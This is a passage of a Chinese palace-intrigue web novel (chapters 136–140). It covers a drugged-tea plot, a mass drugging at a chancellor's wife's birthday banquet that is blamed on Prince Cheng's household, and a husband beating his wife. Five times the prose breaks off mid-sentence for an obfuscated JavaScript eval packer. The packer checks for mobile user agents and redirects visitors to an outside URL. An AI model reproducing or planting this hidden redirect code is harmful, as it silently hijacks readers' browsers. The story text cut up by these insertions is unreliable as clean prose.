“你竟然为了这些**如此对我?”她抹着嘴角的血水,怨恶地瞪着魏广征。 “我怎么对你了?我这些年对你还不够好吗?”面对她一脸恶相,魏广征更是愤怒中夹杂着嫌恶,说的话也不再留情分,“现在淮儿长大了,也有太子做靠山,我享享清福怎么了?她们替你伺候我,你不感激就算了,还毫无容人之心,嫉妒成狂,你问问你自己,配做我魏家的主母吗?” “你……你真是无耻!”葛氏吼骂。 “我无耻?呵呵!”魏广征仿佛听到笑话般笑了一声,然后指着门外,“我看你是被我惯得姓什么都不知道了!你去别家看看,哪个老爷们儿不是娇妻美妾围绕?哪个老爷儿养小妾犯法了?你都是我养的,吃我用我的,你有什么资格管我养多少女人?” 葛氏从地上爬起来,颤抖地指着他,凌厉地问道,“你可是要为了这些**宠妾灭妻?” 魏广征倏地眯紧眼,下一瞬冲过去,又是狠狠一巴掌抽了出去—— “我不过就是养了几个小妾,你就说我宠妻灭妾!你这个妒妇,信不信我休了你!” 第136章 心仪之人 葛氏再次被他打趴在地,好在这一次没再被打断牙了,只不过这一次摔倒比脸还疼,差点让她翻白眼晕死过去。 但听到‘休了你’三字,她一下子也不知道哪来的力气,死咬着牙撑起身,指着魏广征如猛虎咆哮,“你敢休我,我一定让你生不如死!” 二十多年的夫妻…… 她从未想过有一天会听到‘休了你’这样的话! 这二十多年来,她替他打理家事,伺候二老到过世,甚至为了让他们父子多的银子可使,她不惜卖力讨好游月琴…… 可他们父子,是一个比一个不争气! 儿子为了一个捡来的女人把夜时舒得罪了,害她苦心谋划尽二十年的计划全部落空,眼睁睁看着就要到手的巨大财富全变成了泡影! 这个做爹的更是混账畜生! 竟然为了青楼妓子要休掉她这个陪他同甘共苦二十余载的结发之妻! “夫人,丞相府派人来了。”管家的声音突然从门外传来。 葛氏从怨恨中渐渐地恢复了几分清醒。 她抹了一把含血的嘴角,阴狠地瞪了一眼屋中四个女人,然后上前推开魏广征,带着恨气离开了这荒淫置吐的屋子。 她一走,四个美人将魏广征团团围住。 “老爷,您没事吧?” “老爷,您莫要生气,气坏了身子我们会心疼的。” “老爷,您快坐下,让奴家为您消消气。” “老爷,求您不要赶我们走,我们一定会尽心尽力伺候您的。” 她们不像别的女人那般,受了委屈便哭哭啼啼求人安慰和疼爱,相反的,她们一个个满怀关切,生怕魏广征气个好歹。 跟葛氏母老虎般的凶恶模样相比,眼前的女人们仿若冬日里的暖阳,瞬间化解了魏广征心中的阴霾戾气,转过身就把葛氏抛在了脑后—— “你们可真是老爷的心肝儿!快,让老爷好好疼疼你们!” 屋门侧面,玉娘先是目送葛氏离去,接着听了片刻墙角。 直到屋里传来让人脸红的声音,她才含笑离去。 就魏广征的身板,要不了两天便会吃不消。她得告诉二公子,让二公子给魏广征多准备些‘补药’…… …… 丞相夫人寿宴。 顾思沫跟夜时舒商量好了,她先去丞相府。 本来夜时舒反对她单独行动的,她知道夜时舒担心她安危,便笑着安慰夜时舒,“小妹,你就放心吧,便是有人用下作手段,那也对付不了我。” 夜时舒想起酒馆那一次,在尉迟凌示意下,只得让她先进丞相府。 得知她如约而来后,丞相夫人南宫氏亲自出来接迎她。 “华神医不但医术了得,没想到人还如此漂亮,便是天上的仙子见了你也要自惭形秽啊!” “夫人过奖了,民女只是芸芸众生中不起眼的一粒沙尘,哪能与天上的仙子相提并论,夫人这是折煞民女了。”顾思沫谦卑地回道。 看她如此含蓄低调,南宫氏微微抿笑,随即便引她进了自己的院子。 许是她来得早,只见忙忙碌碌的下人,未见多少宾客。 进了厅堂,看着主位上端坐的男女,她顿住脚步,一脸茫然地看向南宫氏。 “华神医,听说你要来为我贺寿,太子和太子妃一大早就来相府等着了!他们可是敬仰你大名许久,今日迫不及待地想要与你结识呢!”南宫氏平易近人地为她解说起来。 顾思沫上前,恭敬地行起跪拜大礼,“民女参见太子殿下、参见太子妃娘娘!” 祝华凝起身,亲自将她扶了起来,“华神医快免礼。今日是我母亲的家宴,你千万别拘礼,就当在自己家中。” “民女不敢。”顾思沫惶恐不安地摇头。 祝华凝笑着引她入座,就在尉迟睿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136954|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下手位,等于是离尉迟睿最近。 然后她在祝华凝对面坐下,温柔又关切地与她拉起家常来. “不知华神医是哪里人士?祖上何许人也?你年纪轻轻便拥有老御医都不及的医术,想必祖上一定是世家大族吧?” “回太子妃,民女出生贫苦人家,只是运气好,遇到了恩师,得他传授医术,才有了这点微不足道的能耐。”顾思沫仍旧保持着谦卑的姿态。 “哎,我都忘了,华神医是华湘阁弟子,有关华湘阁的事,我不能多问的!”祝华凝方才才想起来她的身份,于是立马转移了话题,“华神医,你这般年轻貌美,想必心仪你的人不在少数吧,不知你可有婚配?” “回太子妃,民女没有婚约在身,但民女有心仪之人。” 闻言,祝华凝的表情有一瞬间凝固,随即朝尉迟睿看去。 从顾思沫进门,尉迟睿的视线便落在她身上,此刻听她说已有心仪之人,原本和悦的俊脸不自然地沉了几分。 祝华凝接着微微一笑,又问道,“不知谁家公子如此好运,竟能与华神医有了婚约?” “回太子妃,民女心仪之人乃致和将军府二公子。” “……!”听到这答案,祝华凝和尉迟睿几乎是同时黑脸! “华神医不知道夜时竣刚**妻子吗?”不等祝华凝再开口,尉迟睿亲自开口问道。 “回太子,民女知道,但情感之事,民女也难以自控。” “听华神医的意思,是非夜时竣不嫁?” “是的。” 尉迟睿何止脸黑,怒火都快冲破天灵盖了,冷声问道,“不知华神医喜欢他什么?” 顾思沫抬起头,仿佛没看到他动怒的脸,还微微一笑,“夜二公子性子活泼,为人忠臣,又富有担当,是不可多得的好男儿。能为夜二公子心动,民女很是欢喜。” “你!” 第137章 她很诚实 顾思沫仿佛才看到他动怒的样子,忙起身朝他跪下,一脸惊恐地问道,“太子殿下,民女是说错什么了吗?若民女有哪点冒犯到太子殿下了,还请太子殿下宽容大量莫要与民女一般见识。” 尉迟睿能不动怒嘛?今日丞相府设宴的目的便是要把这女人收进他的东宫,让她以及她身后的华湘阁为自己所用。 可是听听这女人说了些什么? 她居然心仪夜时竣那个纨绔痞子! 一旁的南宫氏原本是没打算掺和他们说话的,哪里想这叫华芯的女子居然在短短时日内便心仪上了夜家的老二,她也是倍感惊诧的。 眼见太子失态,她赶忙给女儿使眼色。 祝华凝先走到尉迟睿身侧,拉了拉他的广袖。 接着她又上前,再次将顾思沫扶起来,温声细语说道,“华神医,殿下他没别的意思,只是为你感到不值。那夜二公子出身虽不差,可他到底是成过亲的人,而且他发妻刚过世不久,他现在还在孝期呢,你若心仪他,那不是要白白被他蹉跎岁月吗?” 顾思沫也没有回避她的话,直言道,“他不介意夜二公子的过去,何况他夫人过世了,他这般年轻,早晚会再娶的。” 尉迟睿不仅脸色黑,狭长的眼眸中还泛起了阴戾的光。 祝华凝拉着顾思沫的手,笑了笑,“婚姻大事,自然是你说了算。我们今日邀你来,主要是想与你结个亲。你为承王医治好了伤腿和容貌,作为承王的兄嫂,我和殿下对你很是感激和敬重。可我们又不知道如何替承王报答你,于是我便同殿下提议,让殿下收你做义妹,如此你以后在京城便有了依靠,东宫也算是你的家了,你也不用再四处奔波了。” 顾思沫微微一愣。 她又不傻,当然看得出来太子和太子妃的目的。而且小妹早就提醒过她太子的癖好,屁本事没有,就爱收揽女人。 堂堂一国太子,跟个不挑食的禽兽似的。只要是他觉得有用处的女人,都喜欢收进他的东宫。 只是让她意外的是,太子妃竟让她做太子的义妹…… 她嘴角暗暗抽了一下,估计是太子接受不了她心有所属,但又想拉拢她,所以临时改变的主意? “太子妃,民女身份低微,除了懂一点岐黄之术外,实在上不得台面。做太子义妹,这可真是折煞民女了。还望太子妃收回方才的话,莫要叫旁人笑了去。” 南宫氏上前,和蔼可亲地说道,“华神医,你太谦虚了。你让承王健愈,不但是对承王有恩,也等同于对天家有恩,太子仁德,便想给你富贵的人生,以此替天家表达谢意。” 随着这对母女的话,尉迟睿的脸色不但好转,唇角还有了笑意,开口道,“华神医,你不会是看不上本宫吧?” 顾思沫都想吐了。 外界都传当朝太子温润如玉,品德高洁,是文武百官齐声同赞的储君。 可真正接触了才发现,原来这所谓的储君竟是这么个贱玩意儿。 什么温润如玉,那翻脸的速度堪比妖精瞬间显现原形。什么品德高洁,那下流的心思全都写在脸上了。 先让她做义妹。 再找机会玷污她。 然后拿捏她,让她为他们所用。 这便是他们的最终目的吧? 她朝尉迟睿福了福身,回道,“能得太子殿下赏识是民女的福气,但民女乃华湘阁弟子,谨守阁中戒律,除嫁人之外,不得与任何人攀亲。太子殿下的美意民女心领了。” “你!”尉迟睿又忍不住黑脸。 “殿下。”祝华凝转身去扶住他,嗔道,“臣妾不是早就同你说了吗,华神医不是一般人,不会在乎世间的功名和利禄的。咱们虽有心想替二弟报答华神医,但也得华神医接受才行啊。” 尉迟睿冷哼一声,坐回主位,然后冷冷地盯着顾思沫。 正在这时,丫鬟前来奉茶。 南宫氏忙热情地招呼,“华神医,快别站着了。” 她坐上了主位另一侧,祝华凝也回到顾思沫对面的座位。 顾思沫见状,也从容地回座。 只是在端上茶盏时,她看着盏中青绿色的茶水,嘴角暗暗地划过一丝冷笑。 没有迟疑,她从容地抿了好几口,仿佛渴急了,又仿佛没品过如此上乘的茶。 尉迟凌、祝华凝、南宫氏彼此俩俩对视,眼中都浮出笑意。 随即南宫氏又主动与顾思沫聊起来,“华神医,听闻你暂居于承王府。往后啊,若你不嫌弃,可随时来我们相府,把相府当自己家。” “多谢夫人美意。”顾思沫放下茶盏,微笑感谢。 茶盏里的水几乎见底了。 然而,她神清目明,完全没有一丝异样。 南宫氏暗自皱眉,随即朝丫鬟看去,轻斥道,“还不快给华神医添茶?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136955|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >丫鬟得令,赶紧端起茶壶又为顾思沫添了一盏。 顾思沫也不客气,很快又将一盏茶喝完了,然后冲南宫氏不好意思地说道,“夫人,府上的茶水太好吃了,我一时没忍住……让您见笑了。” 南宫氏心下狠狠地泛着嘀咕,那无色无味的东西是她亲手下的,这华芯能喝下去,说明并没有发现。 可她都喝了两盏了,怎么一点发作的迹象都没有? 不止是她,就是尉迟睿和祝华凝都暗中给南宫氏递眼色,想知道究竟怎么回事。 正在这时,门外丫鬟来报,“启禀夫人,承王和承王妃来给您贺寿了!” 闻言,南宫氏双目不自然地眯紧。 都没请他们,他们怎么跑来了? 祝华凝和尉迟睿交换眼神后,虽厌恶不喜,但也只能忍着。 “请他们进来吧。” “是!” 不多时,尉迟凌和夜时舒便进了厅堂。 俊逸无双的男人携手倾城之貌的女人,无多耀眼的修饰,便能自成赏心悦目的风景。 特别是尉迟睿看到尉迟凌那恢复完美的脸,心窝子都恨痛了。 “参见王爷、王妃。”南宫氏带着丫鬟热情地上前行礼。 顾思沫也没表现特殊,跟着南宫氏一起行礼。 夜时舒笑着唤她们免礼后,也向尉迟睿和祝华凝行了礼,“皇兄、皇嫂,没想到你们来得如此早。” 祝华凝走到她跟前,拉着她亲切地说道,“今日我母亲过寿宴,本来我是想让你们一道来的,但父皇说二弟身子刚好,让我们少去打扰他,所以我们便没给你们派帖子。” 夜时舒也学她亲切的样子,而且亲切得能把人齁死的那种,“皇嫂,丞相夫人寿宴,这么大的事,别说王爷已经健愈,就算他没有健愈,便是爬也得爬来相府,毕竟丞相夫人是您的母亲,等于也是王爷的长辈,我们岂能缺席?” 祝华凝脸上的笑微微有些凝固。 南宫氏也一样,不过她很快恢复常色,吩咐丫鬟奉茶。 尉迟凌和夜时舒在客椅上坐下,没一会儿丫鬟便端来茶水。 就在夜时舒准备去端茶盏时,顾思沫冷不丁开口,“王妃且慢!” 夜时舒立马朝她看去。 顾思沫冷不丁道,“茶水中有药,我都吃了两盏了。” 她这话一出,南宫氏、祝华凝、尉迟睿三人的脸几乎是同时失色。 第138章 落井下石 三双眼睛也同时把顾思沫瞪着。 皆是难以置信。 她竟然看出茶水有问题? 可她为何吃了没事? 面对他们的震惊和疑惑,顾思沫非但没有一丝生气的迹象,反而微笑着同他们解释,“民女自幼体质特殊,不惧**。哎,都怨民女没早早说清楚,害得这下毒之人白白浪费了一壶好茶。” 她的话,仿佛一记又一记的耳光落在南宫氏的脸上,打得她窘迫难堪,恨不得现场找个地方钻进去! 活了几十岁,真是比活见鬼还让她难以接受! 祝华凝突然朝奉茶的丫鬟瞪去,“好大的狗胆,竟敢在华神医的茶水中做手脚,你这是要反天吗?来人啊!把这胆大妄为的贱婢拖下去,杖毙!” 门外候着的两名东宫嬷嬷听到她的声音,快速进来,都不等那奉茶的丫鬟惶恐喊冤,便捂住她的嘴将她带离了厅堂。 祝华凝走到顾思沫面前,装模作样的检查完茶盏后,递给另外的丫鬟,然后一脸惭愧地对顾思沫说道,“华神医恕罪!这些下人实在胆大妄为,我一定将此事查明清楚,给华神医一个交代!” 顾思沫还是微笑回她,“太子妃不必如此,反正也药不死民女。” 夜时舒一脸羡慕地道,“华神医不亏是华湘阁的神医,当真是让我们开了眼界。要是我们也有华神医这样的本事就好了,出门在外,就完全不用担心被人用下三滥的阴险手段毒害了。” 顾思沫笑着回她,“王妃也不用担心,回头我做些解毒的丸子送您,这样就算误食了有毒的东西也不用再害怕了。” “真的吗?那可太好了!” 听着他们的对话,南宫氏五脏六腑都快喷火星子了。 这哪里是在打他们的脸,这分明就是在骂他们卑鄙、阴险,顺便警告他们,以后这种手段休想再用在承王和承王妃身上! 眼看自家母亲是第一个绷不住的人,祝华凝赶紧同她说道,“母亲,方才的事怕是要您亲自去处理,这里有我和殿下,您就先去忙吧。” 南宫氏随即便对尉迟凌和夜时舒说道,“王爷、王妃,臣妇先失陪了。” 尉迟凌淡淡地点了点头。 夜时舒则是笑得亲切无比,“夫人有事尽管去忙,我们会照顾好自己的,绝不会被人毒害了去。” 南宫氏那是真差点吐出一口恶血来…… 走出厅堂时,她那脸色要多难看有多难看,所过之处,就没人不害怕的。 谁也不知道发生了何事,更想不明白谁有胆子把她气着…… 听到丫鬟来报,说魏家葛氏和公子来了,她气不打一处来地恼道,“来就来了,带去偏厅便是,这点事还用得着问本夫人吗?依本夫人看,你们是越发没有用了,真不知道养你们做何!” 丫鬟颤颤惊惊地退下了。 南宫氏在自己房中生了好一会儿气,连甩了好几样物件,主要是这么多年来,还没有她办不好的事,可今日的事她非但没办好,反而还被夜时舒那**阴阳怪气了一顿,甚至被华芯这个女人戏耍了一通! 她一个老狐狸,竟然对付不了两只小家雀,这叫如何甘心? 突然,她计上心头,立马从榻上起身。 女儿说了,就算拉拢不了华芯,那也不能让她和华湘阁好过—— 今日,承王、夜时舒、华芯,一个都别想安然地离开她相府! …… 偏厅里。 葛氏蒙着面纱,气恼地对魏永淮说道,“你爹是越发的没人性了,你若是再不为我争口气,那我们母子就等着被扫地出门吧!” 昨日挨了魏广征的打,她的脸肿得似发酵的馒头。身体上的伤痛能忍,可心里的恨意她是真忍不了。 魏永淮看着她脸上面纱,没好气地道,“他要纳妾,我管得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136956|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着吗?你就不能睁只眼闭只眼,随他去?” “你、你怎么能说出这样的话?”葛氏难以置信地瞪着儿子,面纱外的双眼瞬间通红,泪水夺眶而出,“我若是让人骑到了头上,你以为你在魏家还有地位?” 魏永淮不以为意地撇嘴,“那就是一个贱妾,就算她生下孩子,也只是个上不了台面的庶子,能影响我什么?” 身为男人,他早晚也会妻妾成群,也会有嫡子庶子,所以他不觉得自己父亲哪里做错了。 倒是母亲一点都拧不清,非得拿这种事为难他! “魏公子,太子与承王在花园下棋,请您过去。”一名丫鬟突然来请人。 魏永淮正在反感葛氏为了府中妾氏的事哭哭啼啼,于是起身头也不回地离开了偏厅。 葛氏见状,气得拿手狠狠捶起了椅子的扶手。 “哟,这不是魏夫人吗?”夜时舒走进偏厅,佯装好奇地打量她,“这好端端的,怎么罩上面纱了?若不是本王妃把你的模样刻在骨血中,本王妃都快忍不住你了。” “臣妇见过承王妃。”葛氏起身行礼,并咬着后牙糟解释道,“臣妇昨日不慎跌倒,摔坏了脸,今日怕吓着人,所以才蒙上了面纱。若有不敬之处,还请王妃见谅。” “原来如此。”夜时舒招呼她坐下,“魏夫人,我们好些日子没见面了,今日难得见面,可得好好叙叙。” 葛氏随她落座。 只是没应声。 但夜时舒特意过来看她,可不是陪她干坐的。 “魏夫人,听闻魏大人前些日子为一青楼女子赎身,还接回了府中给了妾身的份位?想不到啊,魏大人竟是如此多情之人,知道你们年岁渐长,所以特意找些年轻的人儿回府伺候你们。魏夫人,你可真好命啊!” 葛氏面纱下的脸狠狠地扭成一团。 这小**是专门来落井下石的吗? 第139章 毒**了 她的脸被遮了,夜时舒自然不用再看她脸色,自顾自地说得更起劲儿了,“真看不出来啊,魏大人会在近半百的年纪纳妾,真是老当益壮!” 顿了一下,她用手遮着嘴,压低声音问道,“魏夫人,冒昧的问一句,魏大人平日里都吃什么保养的?你别误会哦,我不是要窥探你们夫妻的私密,我只是很好奇而已。我爹比魏大人还小几岁呢,可自打我娘亲去世后,他就对女人没兴趣了,一直单到现在,说什么都不再娶。魏大人这把年纪能纳年轻貌美的小妾,莫不是有什么秘术,改明儿我让我爹去找魏大人讨教讨教,可行?” 葛氏差点被她气得直接跳起来,然后指她鼻子骂她不要脸! 可最终她还是克制住了,指甲死死地掐着自己手心,起身说道,“王妃,恕臣妇有伤在身,不便相陪,您请自便。” 说完她头也不回地离开了偏厅。 夜时舒望着她背影,嘴角上扬的弧度瞬间抹去。 这才只是开始…… 这个毒害她娘亲的凶手,加上上一世的仇,她不会让葛氏死得比温氏便宜! 她要这个毒妇求生不得求死不能! 她正要起身,就见一男子从外面进来。 “舒儿……” 夜时舒冷着脸斥道,“放肆!谁准你称呼本王妃闺名的?” 魏永淮立马难堪地低下头,“见过承王妃。” 夜时舒起身,如今的她不但性子从温柔内敛变得外向张扬,就连浑身的气场都变得具有压迫感了。特别是那一身华服,高贵典雅,珠簪玉饰加身,早已与他有了云壤之别。 “下官只是进来寻母亲,无意冒犯承王妃,还请承王妃恕罪。” 夜时舒从他身侧走过,连个侧眼都没给他。 而当她高贵不凡的身姿从身侧路过时,魏永淮的目光不经意间瞥到她脖子上的红痕。 他不由得敛紧双目,在她走过去时紧紧地攥了拳头。 她和承王竟然…… 他们圆房了! 他记得在梦里的人生中,她嫁他为妻,至死都还是完璧之身…… 可现在,她竟让承王碰了…… 想到某些画面,魏永淮双眼不由地变得通红。 十八年,从她出生起他们便定下了婚约,可这十八年他都没触碰过她半寸,一个承王才出现多久,竟然把她里里外外都给占有了! 夜时舒,真是不知廉耻! …… 花园里。 兄弟俩各执黑白子,但不到一刻钟的功夫,尉迟睿便输了。 “皇兄的棋艺**了。”尉迟凌揶揄般勾起唇角。 “没想到二弟如此深藏不露。”尉迟睿眼神锋利地盯着他。 “臣弟还是喜欢皇兄‘谦和近人’的模样。”尉迟凌笑着起身,居高临下地冲他挑了一下眉梢,“毕竟‘谦和近人’更像明君,更能捕获人心。” “你……”尉迟睿脸黑地起身。 “皇兄也无需动怒,以你现在的棋艺,若虚心请教,还是能进步的。”尉迟凌唇角扬起的弧度更大,“臣弟会等着,再与皇兄一较高下。” 语毕,他转身闲然离去。 尉迟睿瞪着他那挺拔的背影,一脚踹翻了棋盘。 该死的承王,竟敢出言挑衅了! 他是怎么敢的! 看着拿棋盘撒气的男人,正朝这边过来的父女俩忍不住顿下脚步。 祝华凝皱着眉,低语的话中难掩嫌弃,“父亲,您瞧瞧,他现在是越发沉不住气了。” 祝志顺也皱起眉。 这十来年,太子在朝中受尽追捧,说好听点是无忧无虑,说难听点便是毫无长进,甚至因为储君的身份,让他自视甚高。 而承王少时离京,这十来年在外历练,不论是心性还是能力,都胜了太子几个头。 如今承王还没有正式入朝担职,便与太子分了高下。要是承王在朝中锋芒毕露,那太子这储君之位还能坐得稳吗? 他回头看了女儿一眼,低沉说道,“回宫后告诉澜贵妃,让她找机会与太子谈谈。” “知道了。”祝华凝应道。 要不是太子是储君,她都不屑多看一眼这样的男人! 要才华没才华,要脑子没脑子,要能力没能力,除了好色、虚伪、傲慢,真是没一样拿得出手! …… 今日来为南宫氏贺寿的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136957|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,除了魏家母子和夜时舒、尉迟凌、顾思沫外,还有好几个与南宫氏走得近的官家太太及小姐。 这也是尉迟凌伤愈以后第一次正式在众人面前亮相。 席间,夜时舒每次一抬头,便能捕捉到不少投注来的视线。 准备的说,都是看她身侧某爷的。 那眼神,同为女子的她,岂能不懂? 只是她一点都不掩饰对这些女子的轻蔑。早前她男人‘身残’又‘毁容’时,全京城的人提起她男人都是嗤笑,如今他男人健愈了,比尉迟睿这个太子还出色,这一个个的便露出觊觎的心思。 真是讽刺! 宴席开始,作为今日的寿星,南宫氏便举杯说了好一番客套话。 宾客纷纷起身同贺。 然,就尉迟凌和夜时舒既没有起身也没有端起酒杯,只端坐着看宾主互动。 祝志顺饮了酒发现他们夫妻未动,立马询问,“王爷、王妃,可是府中招待不周?” 尉迟凌看了一眼面前的酒杯,回他,“丞相多虑了,本王刚健愈,不宜饮酒。至于王妃,她正调养身子欲为本王孕育子嗣,也不宜饮酒。丞相与众宾随意便是,无需在意我们。” 祝志顺只笑了笑,也没再说什么。 而他下手位的南宫氏则是在垂眸放酒杯的瞬间,嘴角快速勾起一丝阴冷的笑。 这场寿宴,只有五桌人,对南宫氏这样的身份来说,牌面算是很低调了。席间推杯换盏、宾主尽欢,气氛融洽也不失热闹。 只是大家喝着、笑着、谈着,突然间不知道谁起的头,一下子栽倒在地。 旁边的人准备惊叫的,结果声音还没发出来,跟着纷纷以不同的姿势倒下。 五桌人,在几息之间全倒了。 包括主位上的太子和丞相祝志顺、以及南宫氏、祝华凝母女。 而尉迟凌、夜时舒、顾思沫三人端坐着,在一堆倒下的宾客中显得格外突兀和诡异。 其余没事的人便是丞相府做事的下人。 看着主子和宾客们人事不省,也不知道是哪个下人开的头,扯开嗓子惊喊起来,“救命啊——承王和承王妃毒**了——” 第140章 皇上驾到 然后,二十几个丞相府的丫鬟仆从挤在一起,惊恐地望着尉迟凌、夜时舒以及顾思沫。 这要是换做其他人,面对如此场面,即便不被吓着也会因为被人冤枉而勃然大怒。可夜时舒他们三个非但没有一丝怒意,反而还老神在在的继续坐着。 “皇上驾到——” 随着高亢的传报声。 就见一明黄色的高大身影步入院中。 身后跟着浩浩荡荡的侍卫和宫人。 “这……”看着院中倒成一片的人,尉迟晟狠狠收住脚,哪怕九五之尊的他也很难不被眼前惊悚的场面吓到。 丞相府的管家连滚带爬地到他跟前,‘咚咚咚’的先是三个响头,然后一把鼻涕一把泪地说道,“皇上,您要为我家相爷和夫人做主啊!承王和承王妃伙同华神医我家夫人的寿宴上下毒,把所有人都毒害了!” 尉迟晟那真是难以置信,瞪大着双扫视着现场,然后目光投向席座上的三人,怒问道,“他说的可是真的?这些人都是你们毒害的?” 尉迟凌带着夜时舒、顾思沫起身朝他而去。 顾思沫先行礼,“民女参见皇上,皇上万岁万岁万万岁。” 尉迟晟指着她,厉声问道,“华神医,这究竟是如何回事?” 顾思沫回道,“回皇上,民女与王爷、王妃来参加丞相夫人寿宴,只是不知为何,席间他们全倒下了。” “那你还不赶紧救治他们?”尉迟晟没好气地道,“难道你就眼睁睁看着他们等死吗?” “父皇。”尉迟凌开口道,“我们就因为没饮酒,便被丞相府的人认定为凶手,您让华神医救治他们,若是救治不当,只怕我们更加说不清楚了。” 尉迟晟转身便朝齐绥下令,“快把御医全叫来!” 齐绥从惊吓中回过神,赶忙领命。 丞相府管家接着又哀嚎哭求,“皇上,您可得为我家相爷和夫人做主啊!承王殿下和承王妃他们实在胆大包天,光天化日之下敢如此行凶,实乃天理难容啊!” 尉迟晟低头瞪着他,“还未查明真相,你如何笃定这是承王和承王妃所为?难道你亲眼看到他们下毒了?” 管家道,“皇上,所有宾客都无缘无故地倒下了,就承王殿下他们安然无事,这难道不能说明一切吗?对了,小的想起来了,席间我家夫人向承王殿下和承王妃敬酒,被承王殿下直接拒绝了。所有人都喝了酒,唯独承王殿下和承王妃滴酒未进,想必他们是早就知道酒水有问题,所以才不愿喝!” 尉迟晟沉声反问,“所以,你的意思是,承王殿下特意把朕请来,就是为了看他们如此毒害人的?” 管家惊愣,“……” 皇上不是太子请来的,是承王请来的? 夜时舒上前,解释道,“父皇,我们没饮酒,是因为王爷身子刚痊愈,不宜用酒。而儿媳因为要调养身子为王爷开枝散叶,所以也戒了水酒。在席间王爷就已经明确告诉丞相和夫人了,也不知道丞相府的下人怎么想的,看我们无事就说我们是凶手。依儿媳看,这些下人才最有问题,毕竟今日的酒菜都是他们准备的。” “皇上……”管家立马就要辩解。 但尉迟晟没给他再多说的机会,朝侍卫下令,“把府里所有下人全拿下!严加审问!” 闻言,管家脸色大变。 在场的数十名下人也纷纷吓得直哆嗦。 …… 丞相府这壮观的下毒案,几乎太医院的御医们全到场了。 院使陆长青到尉迟晟跟前禀道,“启禀皇上,查过了,今日的酒水中的确被人下了**。微臣亲自查看过那些酒水,发现这种**出自华湘阁。” “什么?!”尉迟晟立马朝顾思沫瞪去。 顾思沫不慌不忙地开口,“皇上,不是民女所为,请皇上明鉴。” 尉迟凌‘嗤’的低笑,“父皇,你见过如此明目张胆地**吗?别说华神医与这些人无冤无仇,就算有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136958|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以华神医的能耐,什么**没有,却只投放些**让人晕倒?换做儿臣,儿臣若是有机会进到厨房,半斤**都算轻的,毕竟灭口比迷晕更能得利,不是么?” 尉迟晟让他说的哑口无言。 丞相府管家口口声声嚷着承王是凶手,可就如承王所言,他若是凶手,还不如直接把人都毒死,一下子送走太子和丞相,自己不就是下一个储君吗? 可这几十人只是被药晕,这叫什么事? 难不成承王吃饱了撑的,没事给自己找事? 院使陆长青躬身说道,“皇上,承王殿下所言极是。在丞相府下药本就不是件易事,若真的有人动了害人的心思,又岂是区区的**?微臣觉得,此事太不合常理了,还请皇上慎之又慎。” 尉迟晟朝齐绥看去,沉声问道,“府中下人可有招供的?” 齐绥摇头,“回皇上,审问过了,都说不知情。” 尉迟晟想到什么,突然看向儿子,皱眉问道,“你把朕叫来,是早就知道会发生此事?那你是如何发现的?为何不阻止?你看看现在弄得,让朕说什么才好?” 尉迟凌轻哼,“从他们端上酒水的那一刻儿臣便知道,他们想嫁祸华神医和华湘阁。儿臣和舒儿想看戏,所以才没碰那酒水。也幸好我们没碰那酒水,不然华神医现在怕是百口莫辩,等我们醒来,怕死脑袋都搬家了。” 下一瞬,他眉眼一沉,反问道,“父皇可有想过,朝廷真要与华湘阁为敌,会付出何登代价?您有多少把握能将整个华湘阁铲除掉?您又有多少把握抵御华湘阁弟子的报复?” 尉迟晟被问得直接沉默了。 